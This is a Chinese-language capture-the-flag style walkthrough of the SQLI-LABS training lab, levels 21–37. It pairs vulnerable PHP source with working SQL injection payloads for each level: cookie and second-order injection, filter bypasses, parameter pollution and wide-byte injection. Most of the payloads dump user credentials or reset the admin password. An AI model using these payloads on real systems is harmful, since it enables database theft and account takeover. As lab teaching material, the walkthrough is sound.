SQLI-LABS (Adv Injections) 21-37关

SQLI-LABS (Adv Injections) 21-37关

Less-21

  • 查看源码
<?php
if cookie 中不存在 uname 参数:  
    输出了一堆无用的信息
    if 提交了 uname 和 passwd:
        # 进行过滤
        $uname = check_input($_POST['uname']);
        $passwd = check_input($_POST['passwd']);

        $sql="SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
        if 有查询结果:
            # 将 uname 的值设置给 cookie 里面的 uname 参数
            setcookie('uname', base64_encode($row1['username']), time()+3600);    
        else:
            print_r(mysql_error());

else:
    if POST 数据里面没有 submit 参数:
                 # 对 cookee 进行 base64 解密
        $cookee = base64_decode($cookee);

        # 直接将 cookee 通过单引号拼接到 SQL 语句中
        $sql="SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
        if 查询无结果:
            输出 mysql_error()
        if 有结果:
            输出查询的信息
    else:
        # 将 uname 的值设置给 cookie 里面的 uname 参数
        setcookie('uname', base64_encode($row1['username']), time()-3600);
?>

通过源码看出,后端会把传入的cookie中的uname参数进行base64解密,然后再进行查询,所以我们传入的cookie中的uname要尽心base64加密才行。同时注意到,这里的闭合方式为('$uname')

查询语句:

uname=sqlsec') union select 1,2,(SELECT GROUP_CONCAT(username,':',password) FROM users)#

我们可以利用hackbar进行base64加密:

uname=c3Fsc2VjJykgdW5pb24gc2VsZWN0IDEsMiwoU0VMRUNUIEdST1VQX0NPTkNBVCh1c2VybmFtZSwnOicscGFzc3dvcmQpIEZST00gdXNlcnMpIw==
image-20210304212001660

Less-22

  • 查看源码
$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql="SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";

可以看出仅仅实在Less-21的基础上把闭合方式改为了"$cookee1",注入方式参考Less-21

Less-23

  • 查看源码
$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
if 有查询结果:
    输出查询信息
else:
    print_r(mysql_error());

可以看出这里使用正则匹配过滤了#--,导致了我们无法把查询语句中参数$id后面的限制仅输出1个内容给屏蔽掉。这里我们可以构造语句:

http://192.168.91.134/sqli-labs/Less-23/?id=-1' union select 1,(select group_concat(username,':',password) from users),'3
image-20210304215528582

解释:

  1. 首先是id的第一个参数为-1,因为 sql 语句执行了两个 select 语句,第一个 select 为 id 的选择语 句,第二个为我们构造的 select 语句。只有一个数据可以输出,为了让我们自己构造的数据 可以正常输出,第一个 select 要没有结果,所以-1 或者超过数据库所有数据都可以。
  2. 最后3前面的'目的是闭合查询语句最后的',使其不会错误
  3. 此处也可以进行报错注入,盲注
http://192.168.91.134/sqli-labs/Less-23/?id=-1' union select 1,(select extractvalue(1,concat(0x7e,(select database()),0x7e))),'3
image-20210304215543764

Less-24

  • 查看代码
  • Index.php 主要记录了表单相关的信息,没有啥敏感代码,当做 Index.html 来看待就可以了。 输入用户名和密码之后会把数据传输到 login.php 进行验证。点击忘记密码会跳转到forgot_password.php,点击创建新用户会跳转到new_user.php
  • failed.php 检测会话,如果 cookie 里面没有 Auth 参数的话,就跳转到 index.php
  • forgot_password.php 简单提示:如果你忘记密码 请 hack it
  • login.php
  $username = mysql_real_escape_string($_POST["login_user"]);
  $password = mysql_real_escape_string($_POST["login_password"]);
  $sql = "SELECT * FROM users WHERE username='$username' and password='$password'";

  if 登陆成功:
      #设置session和cookie
      $_SESSION["username"] = $login;
      setcookie("Auth", 1, time()+3600);

$username$password两个参数都被过滤掉,无法从这里进行注入。

  • new_user.php 创建新用户的表单页面,本文件主要存放前段代码。
  • login_create.php
  # 接受用户提交的用户名和密码值 并进行 mysql 安全函数转义
  $username=  mysql_escape_string($_POST['username']) ;
  $pass= mysql_escape_string($_POST['password']);
  $re_pass= mysql_escape_string($_POST['re_password']);

  # 查询当前用户信息
  $sql = "select count(*) from users where username='$username'";
  #如果当前用户已经存在 无法注册

  if 两次输入密码一致:
    # 将记录插入数据库中
      $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")";
        查询完成后 重定向到首页
      else:
          提示两次输入密码不一致
  • pass_change.php
  if 检测未登录:
      重定向到首页
  if 检测到提交表单:
    # 对 pass 都进行了过滤
    $username= $_SESSION["username"];
      $curr_pass= mysql_real_escape_string($_POST['current_password']);
      $pass= mysql_real_escape_string($_POST['password']);
      $re_pass= mysql_real_escape_string($_POST['re_password']);

      if 两次密码一致:
          # 直接将 username 拼接到 SQL 语句
          $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' ";
      else:
          提示密码不一致 并重定向到 fail.php
  • 思路分析

这里需要利用到二次注入。看更新密码的地方:

UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass'

这里直接使用单引号拼接了 username 所以当 username 可控的话 ,这里是存在SQL注入的,假设用户注册的 username 的值为:admin'#,那么此时的完整语句就为:

UPDATE users SET PASSWORD='$pass' where username='admin'# and password='$curr_pass'

相当于#后面的都被屏蔽掉了,直接修改了 admin 的用户密码。

  • 演示步骤
  1. 注册一个名字为admin'#的用户 image-20210305100428917
  2. 注册好之后登陆该账户,对密码进行修改 image-20210305100925703 image-20210305100819324

可以看到此时admin用户的密码被修改为了000

Less-25

  • 查看代码
  function blacklist($id)
  {
      $id= preg_replace('/or/i',"", $id);           //strip out OR (non case sensitive)
      $id= preg_replace('/AND/i',"", $id);      //Strip out AND (non case sensitive)

      return $id;
  }

  $id= blacklist($id);

  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

可以看出后端把传进去的参数进行了过滤,把orand不区分大小写替换为了空字符。

  • or 和 and 过滤的绕过
  1. 大小写变形 Or,OR,oR
  2. 编码,hex,urlencode
  3. 添加注释/*or*/
  4. 利用符号 and=&& or=||
  5. 双写 oorr,anandd

由于password中含有or,所以要在里面双写

http://192.168.91.134/sqli-labs/Less-25/?id=-1' union select 1,(select group_concat(username,':',passwoorrd) from users),3--+

使用报错或者盲注时推荐使用符号

?id=1'||extractvalue(1,concat(0x7e,database()))--+

值得一提的是,如果使用&&来代替and,需要对&&进行url编码,否则&后面的内容会被当成第二个参数传递。

Less-25a

这一关就是Less-25的小改,参数类型改为了数字型,并且屏蔽了错误信息显示。因此这里只能使用联合注入和盲注。

Less-26

  • 查看源码
  function blacklist($id)
  {
      $id= preg_replace('/or/i',"", $id);           //strip out OR (non case sensitive)
      $id= preg_replace('/and/i',"", $id);      //Strip out AND (non case sensitive)
      $id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
      $id= preg_replace('/[--]/',"", $id);      //Strip out --
      $id= preg_replace('/[#]/',"", $id);           //Strip out #
      $id= preg_replace('/[\s]/',"", $id);      //Strip out spaces
      $id= preg_replace('/[\/\\\\]/',"", $id);      //Strip out slashes
      return $id;
  }

这里过滤规则变多了,把 or,and,/*,#,–,/和空格给过滤掉

  • 绕过方法
  • 之前已经提过and,or和注释符被过滤时候的绕过方法,这里不再赘述
  • 空格被过滤可以使用如下的符号来代替
符号说明
%09TAB 键(水平)
%0a新建一行
%0c新的一页
%0dreturn 功能
%0bTAB 键(垂直)
%a0空格
http://ea678630a8ac651042f1a6ce703956a2.n2.vsgo.cloud:14562/sqlilabs/Less-26/
?id=100'%0bunion%0bselect%0b1,(select%0bgroup_concat(username,':',passwoorrd)%0bfrom%0busers),3||'1

该方法无法再window上实现,因为有些符号不能被解析,这里借助了在线容器进行测试

https://www.vsplate.com/labs.php

Less-26a

与 Less-26 相比,只是拼接方式改为了('$id'),因为没有输出报错信息,所以不能使用报错注入了。

http://ea678630a8ac651042f1a6ce703956a2.n2.vsgo.cloud:14562/sqlilabs/Less-26a/
?id=100')%0bunion%0bselect%0b1,(select%0bgroup_concat(username,':',passwoorrd)%0bfrom%0busers),3||('1

Less-27

  • 查看源码
$id= preg_replace('/[\/\*]/',"", $id);        //strip out /*
$id= preg_replace('/[--]/',"", $id);        //Strip out --.
$id= preg_replace('/[#]/',"", $id);            //Strip out #.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/select/m',"", $id);        //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);        //Strip out spaces.
$id= preg_replace('/union/s',"", $id);        //Strip out union
$id= preg_replace('/select/s',"", $id);        //Strip out select
$id= preg_replace('/UNION/s',"", $id);        //Strip out UNION
$id= preg_replace('/SELECT/s',"", $id);        //Strip out SELECT
$id= preg_replace('/Union/s',"", $id);        //Strip out Union
$id= preg_replace('/Select/s',"", $id);        //Strip out select

这里解释一下正则匹配修饰符的含义:

模式修正符号功能描述
i在和正则匹配是不区分大小写
m将字符串视为多行。(具体作用就是防止双写绕过)
s如果设定了这个修正符,那么,被匹配的字符串将视为一行来看,包括换行符,换行符将被视为普通字符串。

通过源码我们知道了后端对那些字符进行了过滤,虽然这里对unionselect做了部分过滤,但是任然存在可以绕过的漏洞。

http://192.168.91.134/sqli-labs/Less-27/
?id=100'unIon%0bSelEcT%0b1,database(),'3

Less-27a

这关在Less-27的基础上,把闭合方式改为"$id",同时屏蔽了错误信息显示,因此无法进行报错注入。

http://192.168.91.134/sqli-labs/Less-27a/
?id=100"unIon%0bSelEcT%0b1,database(),"3

Less-28

  • 查看源码
$id= preg_replace('/[\/\*]/',"", $id);                //strip out /*
$id= preg_replace('/[--]/',"", $id);                //Strip out --.
$id= preg_replace('/[#]/',"", $id);                    //Strip out #.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/[ +]/',"", $id);                //Strip out spaces.
$id= preg_replace('/union\s+select/i',"", $id);        //Strip out UNION & SELECT.

闭合方式为('$id'),,并且取消了select不能双写的限制,增加了对union select连在一起的时候且不区分大小写的过滤,且屏蔽了错误信息显示。

http://192.168.91.134/sqli-labs/Less-28/
?id=100')uniunion%0bselecton%0bselect%0b1,database(),('3

Less-28a

本关在less-28的基础上竟然还少了前面的几个限制,只留下了最后一个对union select的过滤

http://192.168.91.134/sqli-labs/Less-28a/
?id=100') uniunion selecton select 1,database(),('3

Less-29

  • 查看源码
  • index.php 并没有什么特别的,平平无奇,使用联合注入即可。
  http://192.168.91.134/sqli-labs/Less-29/
  ?id=-1' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users) --+
  • login.php
  $qs = $_SERVER['QUERY_STRING'];
  $id1=java_implimentation($qs);
  $id=$_GET['id'];
  //echo $id1;
  whitelist($id1);

  function whitelist($input)
  {
      $match = preg_match("/^\d+$/", $input);
      if($match)
      {
          //echo "you are good";
          //return $match;
      }
      else
      {   
          header('Location: hacked.php');
          //echo "you are bad";
      }
  }

  function java_implimentation($query_string)
  {
      $q_s = $query_string;
      $qs_array= explode("&",$q_s);
      foreach($qs_array as $key => $value)
      {
          $val=substr($value,0,2);
          if($val=="id")
          {
              $id_value=substr($value,3,30); 
              return $id_value;
              echo "<br>";
              break;
          }
      }
  }

这里面有2个函数,java_implimentation的作用是将传入的参数以&分隔,如果该参数的前两个字符为id,则取它的第三个字符开始的30个字符作为$id_value,并返回$id_value,同时跳出循环。whitelist的作用是检查传入的字符串是否是数字,是的话就直接返回该字符串,否则就跳转到hacked.php。

  • 利用方式

由于java_implimentation函数只要检测到一个id参数就退出检测,那么当我们传入2个名为id的参数时,后面的那一个就能绕过检测,从而可以利用其来进行注入。那么问题是,我们后端使用$id=$_GET['id'];获取到的id参数究竟是第一个还是第二个呢。假设用户输入这样的语句:

  index.php?id=1&id=2

Apache PHP 会解析最后一个参数

Tomcat JSP 会解析第一个参数

可以看出,我们可以构造第二个id参数来绕过检测。

http://192.168.91.134/sqli-labs/Less-29/login.php?id=1&id=-2' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-30

和Less-29相比,index.php页面的错误信息显示被屏蔽了,闭合方式改为"$id",其他照旧。

http://192.168.91.134/sqli-labs/Less-30/login.php?id=1&id=-2" union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-31

和Less-29相比,闭合方式改为("$id"),其他不变。

http://192.168.91.134/sqli-labs/Less-31/login.php?id=1&id=-2") union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-32

  • 查看源码
 # \ 转换为 \\
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); 
# 将 ' 转为\'
$string = preg_replace('/\'/i', '\\\'', $string); 
# 将 " 转为\"
$string = preg_replace('/\"/', "\\\"", $string);                         
  • 利用方法

这里使用宽字节注入,在被过滤的符号前面加入%df

http://192.168.91.134/sqli-labs/Less-32/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-33

  • 查看源码
$string= addslashes($string);

此处过滤使用函数 addslashes() 返回在预定义字符之前添加反斜杠的字符串。

预定义字符是: 单引号(’) 双引号(”) 反斜杠(\)

这里依然可以使用宽字节注入绕过

http://192.168.91.134/sqli-labs/Less-33/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-34

  • 查看源码
$uname = addslashes($uname1);
$passwd= addslashes($passwd1);

和Less-33的过滤方法一样,只不过换成了POST方式提交数据,而POST方式无法直接使用%df来进行注入,需要用Burp Suite进行抓包改包。

image-20210305173404414

在图中的%27前面加上%df即可。

  • 这里还有另一种思路

将 utf-8 转换为 utf-16 或 utf-32,例如将 ‘ 转为 utf-16 为 � ‘ 。我们就 可以利用这个方式进行尝试。

可以使用 Linux 自带的 iconv 命令进行 UTF 的编码转换:

➜  ~ echo \'|iconv -f utf-8 -t utf-16
��'
➜  ~ echo \'|iconv -f utf-8 -t utf-32
��'

尝试一个经典的万能密码:

uname=�' or 1#&passwd=
image-20210305175129233

Less-35

这一关的参数的数据类型为数字型,也就是说无需'来闭合参数,但是这里的过滤措施和Less-33完全一致,相当与无用功。。直接进行联合注入即可。

http://192.168.91.134/sqli-labs/Less-35/?id=-1 union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-36

  • 查看源码
$string= mysql_real_escape_string($string)

这里使用了mysql_real_escape_string()函数进行转义,如果成功,则该函数返回被转义的字符串。如果失败,则返回 false。下列字符受影响:

(\x00) (\n) (\r) (‘) (“) (\x1a)

这里仍然可以使用宽字节注入:

http://192.168.91.134/sqli-labs/Less-36/?id=-1%df' union select 1,2,(SELECT+GROUP_CONCAT(username,password+SEPARATOR+0x3c62723e)+FROM+users)--+

Less-37

本关与 34 关是大致相似的,区别在于处理 post 内容用的是 mysql_real_escape_string() 函数,而不是 addslashes()函数,但是原理是一样的。都是通过截包改包的方法进行注入。或者使用将 utf-8 转换为 utf-16 或 utf-32的方法直接在hackbar进行POST请求。

参考资料

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇